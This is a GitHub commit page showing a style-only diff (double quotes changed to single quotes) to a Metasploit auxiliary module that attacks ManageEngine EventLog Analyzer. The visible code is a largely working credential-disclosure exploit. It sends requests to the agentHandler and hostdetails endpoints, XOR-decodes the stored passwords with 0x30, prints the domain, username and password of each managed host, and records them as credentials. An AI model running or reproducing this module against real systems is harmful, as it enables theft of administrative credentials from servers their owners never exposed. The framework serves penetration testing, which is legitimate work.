Skip to content

Commit 7c1c08f

Browse files
committed
Use single quotes without interpolation
1 parent 0373156 commit 7c1c08f

File tree

1 file changed

+15
-15
lines changed

1 file changed

+15
-15
lines changed

modules/auxiliary/gather/eventlog_cred_disclosure.rb

Lines changed: 15 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -42,14 +42,14 @@ def initialize(info = {})
4242
register_options(
4343
[
4444
Opt::RPORT(8400),
45-
OptString.new('TARGETURI', [ true, "Eventlog Analyzer application URI (should be /event for version 7)", '/']),
45+
OptString.new('TARGETURI', [ true, 'Eventlog Analyzer application URI (should be /event for version 7)', '/']),
4646
], self.class)
4747
end
4848

4949

5050
def decode_password(encoded_password)
5151
password_xor = Rex::Text.decode_base64(encoded_password)
52-
password = ""
52+
password = ''
5353
password_xor.bytes.each do |byte|
5454
password << (byte ^ 0x30)
5555
end
@@ -59,7 +59,7 @@ def decode_password(encoded_password)
5959

6060
def run
6161
res = send_request_cgi({
62-
'uri' => normalize_uri(target_uri.path, "agentHandler"),
62+
'uri' => normalize_uri(target_uri.path, 'agentHandler'),
6363
'method' =>'GET',
6464
'vars_get' => {
6565
'mode' => 'getTableData',
@@ -84,10 +84,10 @@ def run
8484

8585
slid_host_ary = []
8686
doc.elements.each('Details/HostDetails') do |ele|
87-
if ele.attributes["password"]
87+
if ele.attributes['password']
8888
# If an element doesn't have a password, then we don't care about it.
8989
# Otherwise store the slid and host_id to use later.
90-
slid_host_ary << [ele.attributes["slid"], ele.attributes["host_id"]]
90+
slid_host_ary << [ele.attributes['slid'], ele.attributes['host_id']]
9191
end
9292
end
9393

@@ -107,7 +107,7 @@ def run
107107

108108
slid_host_ary.each do |host|
109109
res = send_request_cgi({
110-
'uri' => normalize_uri(target_uri.path, "hostdetails"),
110+
'uri' => normalize_uri(target_uri.path, 'hostdetails'),
111111
'method' =>'GET',
112112
'vars_get' => {
113113
'slid' => host[0],
@@ -128,24 +128,24 @@ def run
128128
doc.elements.each('Details/Hosts') do |ele|
129129
# Add an empty string if a variable doesn't exist, we have to check it
130130
# somewhere and it's easier to do it here.
131-
host_ipaddress = ele.attributes["host_ipaddress"] || ""
131+
host_ipaddress = ele.attributes['host_ipaddress'] || ''
132132

133133
ele.elements.each('HostDetails') do |details|
134-
domain_name = details.attributes["domain_name"] || ""
135-
username = details.attributes["username"] || ""
136-
password_encoded = details.attributes["password"] || ""
134+
domain_name = details.attributes['domain_name'] || ''
135+
username = details.attributes['username'] || ''
136+
password_encoded = details.attributes['password'] || ''
137137
password = decode_password(password_encoded)
138-
type = details.attributes["type"] || ""
139-
subtype = details.attributes["subtype"] || ""
138+
type = details.attributes['type'] || ''
139+
subtype = details.attributes['subtype'] || ''
140140

141141
unless type =~ /Windows/ || subtype =~ /Windows/
142142
# With AS/400 we get some garbage in the domain name even though it doesn't exist
143143
domain_name = ""
144144
end
145145

146146
msg = "Got login to #{host_ipaddress} | running "
147-
msg << type << (subtype != "" ? " | #{subtype}" : "")
148-
msg << " | username: "
147+
msg << type << (subtype != '' ? " | #{subtype}" : '')
148+
msg << ' | username: '
149149
msg << (domain_name != "" ? "#{domain_name}\\#{username}" : username)
150150
msg << " | password: #{password}"
151151
print_good(msg)
@@ -162,7 +162,7 @@ def run
162162
service_name: type,
163163
workspace_id: myworkspace_id,
164164
protocol: 'tcp',
165-
port: 0, # can be any port, so just set to 0 else the cred api screams
165+
port: 0, # can be any port, so just set to 0 else the cred api screams
166166
core: credential_core,
167167
status: Metasploit::Model::Login::Status::UNTRIED
168168
}

0 commit comments

Comments
 (0)